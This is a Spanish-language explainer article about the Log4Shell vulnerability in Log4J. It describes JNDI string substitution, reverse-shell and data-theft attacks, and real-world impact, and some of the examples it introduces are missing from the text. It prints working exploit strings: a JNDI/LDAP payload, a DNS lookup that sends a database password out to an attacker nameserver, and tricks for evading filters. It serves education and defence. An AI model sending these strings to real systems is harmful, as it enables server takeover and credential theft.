Log4Shell

A finales de 2021, el fallo de seguridad Log4Shell sacudió el mundo cibernético. Con poco esfuerzo, los atacantes pudieron infiltrarse en los sistemas globales de las mayores organizaciones. A continuación, te explicamos qué es Log4Shell y cómo actuar al respecto.

Log4Shell es una de las vulnerabilidades de seguridad más graves en Java que se ha descubierto hasta la fecha. Además de intervenir datos sensibles, este fallo se aprovechó especialmente para abrir una shell inversa en un sistema remoto, lo que permite a los atacantes insertar más código maligno o tomar completamente el control del sistema. La National Vulnerability Database de EE.UU. le dio a la vulnerabilidad Log4Shell la puntuación más elevada de 10,0: “critical”.

Hasta la fecha, Log4Shell es la vulnerabilidad de carácter crítico que ha ocasionado mayor daño. El fallo yacía en la biblioteca de registro de Java Log4J, ampliamente utilizada. Cuando se descubrió, se vio que más de 35 000 paquetes de Maven Central, el mayor repositorio de Java, estaban afectados por la vulnerabilidad. Log4Shell puso en riesgo a miles de productos de cientos de proveedores. Además de los servicios en la nube y software, también afectó a soluciones de hardware de la misma manera.

También es preocupante el hecho de que la vulnerabilidad Log4Shell exista desde 2013. Desde entonces, sin que se supiera abiertamente, era posible infiltrarse en una amplia gama de sistemas, incluidos los de grandes proveedores. Podemos suponer que grupos profesionales como los servicios secretos y los hackers han utilizado activamente este fallo para acceder a los sistemas y robar datos.

El nombre “Log4Shell” hace referencia al principio base de este fallo de seguridad. Se aprovecha de un punto débil de la biblioteca de registro de Java, conocida como Log4J, que permite iniciar una shell inversa en un sistema remoto. Pero ¿qué es exactamente Log4J y en qué consiste una shell inversa?

La biblioteca Log4J, mantenida por la Apache Software Foundation, es una de las herramientas estándar de registro de Java más utilizadas. La función de registro es una parte esencial de los grandes sistemas, que continuamente crean avisos de estado, los analizan y los guardan. Entre los datos registrados por defecto suelen encontrarse, entre otros, los del encabezado que se transfieren a los servidores web desde las solicitudes HTTP. He aquí un ejemplo de una entrada de registro de Apache. La última parte es un string llamado User Agent:

Una shell inversa es una puerta de entrada a través de la cual un hacker puede manipular o tomar el control de un sistema en remoto. Iniciar una shell inversa es un truco típico del repertorio de los ciberpiratas y, principalmente, permite el acceso al sistema afectado, algo que se consigue con poco esfuerzo si se hace uso de la vulnerabilidad Log4Shell.

El principal problema de la vulnerabilidad Log4Shell es el uso de las llamadas “string substitutions” como parte de la funcionalidad de Log4J. Esas sustituciones permiten introducir contenido dinámico en los marcadores de posición, lo que funciona de manera similar a cuando se sustituyen las variables en scripts de shell. Que las sustituciones puedan manipularse desde fuera supone un problema para la seguridad. Lo mismo ocurre cuando se registran datos definidos por el usuario como los User Agent Strings.

Veamos cómo se construyen y funcionan las sustituciones. La sintaxis general de una sustitución consta de dos partes: un marcador de posición, que está formado por un símbolo de dólar y dos corchetes (al igual que en los scripts de shell), y un par prefijo‑nombre, separado por dos puntos:

El prefijo indica el tipo de sustitución que debe realizarse y, en cuanto al siguiente código de ejemplo, este se sustituirá por la versión Java del sistema en ejecución durante el proceso:

Incluso un ejemplo tan inofensivo abre la puerta a los hackers para aprovechar los fallos de seguridad conocidos de la versión Java en cuestión. De hecho, varias de las posibles sustituciones son críticas para la seguridad del sistema de ejecución. Las sustituciones del JNDI Lookup tienen especialmente mala reputación con Log4Shell.

La Interfaz de Nombrado y Directorio Java (JNDI, por sus siglas en inglés) permite volver a cargar la configuración desde una clase local de Java, e incluso cargar configuraciones desde sistemas remotos. Los atacantes controlaron sobre todo servidores LDAP en los ataques a Log4Shell. Desde ellos, pusieron en marcha códigos malignos para abrir la shell inversa, ya que una clase Java puede contener cualquier código.

Por eso, basta con una cadena de caracteres del tipo ${jndi:ldap://example.com/evil-file} para engañar a un sistema con el Log4J vulnerable. Cuando luego se resuelve la sustitución, el código del exploit se recarga desde un servidor LDAP controlado y, en consecuencia, el exploit se ejecuta en el sistema vulnerable. Dependiendo de lo que busque el hacker, instalará el scareware y otros tipos de malware.

Además de JNDI, los prefijos ‘env’ y ‘base64’ también se utilizan para los ciberataques. La siguiente tabla reúne los prefijos de sustitución disponibles y su contexto:

Siguiendo un procedimiento concreto, es posible sacarle partido a un fallo de seguridad, en cuyo caso hablamos de un exploit. Puede haber múltiples exploits para un único fallo de seguridad, como es el caso de Log4Shell. Cuando se supo de su existencia, se dieron principalmente dos tipos de ataques, diferenciados por la llamada JNDI:

1. Control del servidor o dispositivo

Con este tipo de ataque, se inicia una shell inversa en el sistema meta, para lo que se utilizan varios exploits que necesitan poder ejecutar malware en el sistema meta. Esto es posible precisamente a través del registro de un string especialmente preparado para ello.

Para acceder a un servidor web vulnerable, basta con consultar cualquier recurso y poner en marcha un exploit string como User Agent. Entonces, el servidor web registra el exploit string, se ejecuta la sustitución y se inicia el ataque. Este es un ejemplo de exploit string registrado:

2. Acceso a datos confidenciales

En este tipo de ataque, se leen datos sensibles en forma de variables de entorno del sistema meta. El exploit se basa en crear una supuesta resolución de nombres DNS mediante una sustitución dinámica. Para ello, el valor de la variable de entorno se codifica como subdominio:

En ambos casos, los atacantes utilizan un sistema que controlan como cabeza de puente. En el primer caso, se entrega el código maligno con un servidor LDAP y, en el segundo caso, el servidor de nombres al que se dirige la petición DNS está bajo el control de los atacantes. Veamos este caso en detalle.

Imaginemos que una variable de entorno de nombre 'DB_PASS' del sistema vulnerable contiene la contraseña de una base de datos. Supongamos que se trata del valor e3CtDewUUwAfiwWTFtAhfettlQ2Lp5. El exploit string ${jndi:dns://${env:DB_PASS}.example.com} lanza una solicitud DNS del subdominio e3CtDewUUwAfiwWTFtAhfettlQ2Lp5.example.com.

La solicitud DNS de example.com va al servidor de nombres, controlado por los atacantes. El servidor de nombres maligno lee el valor del subdominio y lo guarda. De esta manera, los hackers consiguen la contraseña de la base de datos del servidor vulnerable.

El gran peligro de la vulnerabilidad de Log4Shell se debía a una combinación de factores de riesgo. Examinemos los más importantes:

1. La vulnerabilidad de Java provenía de la biblioteca de registro.

Una biblioteca de registro como Log4J puede parecer de primeras relativamente inofensiva. Si la comparamos con las bibliotecas de autentificación o cifrado, la biblioteca de registro puede parecer menos importante.

2. El uso de Java está muy extendido.

Una de las características principales de Java como lenguaje y entorno es que funciona prácticamente en todas las plataformas, por lo que la vulnerabilidad Log4Shell afecta a un gran número de programas y servicios. Además, Java está integrado parcialmente en sistemas embebidos como rúteres o dispositivos del internet de las cosas, p. ej. cámaras privadas o dispositivos de domótica.

3. Integra muchas tecnologías distintas.

La problemática de la seguridad surge debido a la encadenación de múltiples tecnologías. La combinación de Log4J, JNDI, LDAP y las sustituciones de strings lleva a fallos de seguridad y favorece los ataques.

4. El exploit se filtra por planos más profundos.

Si un punto débil solo afecta al sistema vulnerable, en el mejor de los casos, los daños serán localizados. Pero imaginemos que se recibe un exploit string y se registra a través de una interfaz web. El exploit string acabará pasando a los sistemas subyacentes y se activará cuando se evalúe ahí.

5. Los exploit strings son difíciles de descubrir.

Debido a lo complejas que son las sustituciones, pueden ocultar código malicioso de muchas formas distintas, de manera que pueden intercalarse. Un string del estilo de ${${lower:j}ndi} no contiene directamente la cadena de caracteres jndi, por lo que no se puede filtrar automáticamente. De hecho, el string ${jndi} solo aparece en la resolución. Además, también es posible ocultar parte del código codificando base64, por lo que el string ${base64:SGVsbG8gV29ybGQhCg==} se evalúa como ”Hello World!”.

Al conocerse las vulnerabilidades de Log4Shell, se produjeron grandes ataques en sistemas de todo el mundo. Sobre todo se tomó el control de servidores y dispositivos, pero también se robaron datos sensibles. A los diez días de que se publicaran los exploits, la empresa de ciberseguridad Wiz describió el ataque de la siguiente manera:

Los sistemas tomados se utilizaron indebidamente para minar criptomonedas, crear botnets y enviar spam. Además, se crearon las llamadas puertas traseras para permitir futuras actividades delictivas, como ataques de ransomware. Los ataques que pretenden no ser detectados e infiltrarse en otros sistemas se conocen como amenaza persistente avanzada (APT, por sus siglas en inglés).

Las organizaciones más grandes reaccionaron con bastante rapidez al saber de Log4Shell y tomaron medidas para proteger sus sistemas. Sin embargo, presuponemos que los sistemas sin parches siguen en peligro, dado que los hackers siguen escaneando sistemas meta tratando de descubrir puntos débiles.

Lo que complica la lucha contra las vulnerabilidades de Log4Shell es que puede ser muy difícil detectar los sistemas vulnerables. Cuando las aplicaciones Java se ejecutan como contenedores o se trata de archivos JAR archivados o imágenes de contenedores, no está de más comprobar si hay versiones vulnerables de Log4J. Si no se sabe que se está utilizando una versión vulnerable, esta no puede protegerse, por lo que el sistema puede estar expuesto a los fallos de Log4Shell.

Los sistemas de domótica y otros sistemas embebidos o de IdC son más problemáticos que los entornos de servidores o en la nube. Entre ellos se encuentran los rúteres privados, las cámaras de videovigilancia y demás dispositivos. Dado que la vulnerabilidad Log4Shell existía desde hace años, podemos suponer que sigue habiendo dispositivos con versiones inseguras. Si ya no está soportado por la empresa o el proveedor no existe, lo más probable es que no existan parches ni actualizaciones.

La lista exhaustiva de los software afectados por Log4Shell se encuentra en GitHub. Es obra del Centro Nacional de Ciberseguridad de Países Bajos (NCSC-NL, por sus siglas en neerlandés). Debido a la gran cantidad de softwares afectados, la lista está ordenada alfabéticamente según la inicial del fabricante.

Los particulares también se han visto afectados por Log4Shell, ya que muchos de los servicios en línea más populares estaban expuestos cuando se conoció la noticia. Algunos ejemplos son Minecraft, Steam, AWS y iCloud de Apple. La mayoría de los grandes proveedores reaccionaron con gran rapidez, por lo que no es necesario que elimines tu cuenta de Steam ni busques alternativas a AWS.

Si en cambio tienes un servidor de Minecraft, deberías actualizarlo, ya que, en las versiones afectadas, basta con enviar un exploit string como mensaje de chat para controlar el servidor.

En hardware de pequeñas empresas u hogares expuestos a Log4Shell, este fallo sigue suponiendo una amenaza para particulares. Por ejemplo, basta con mostrar un código de barras preparado especialmente a una cámara de videovigilancia para tomar control del dispositivo.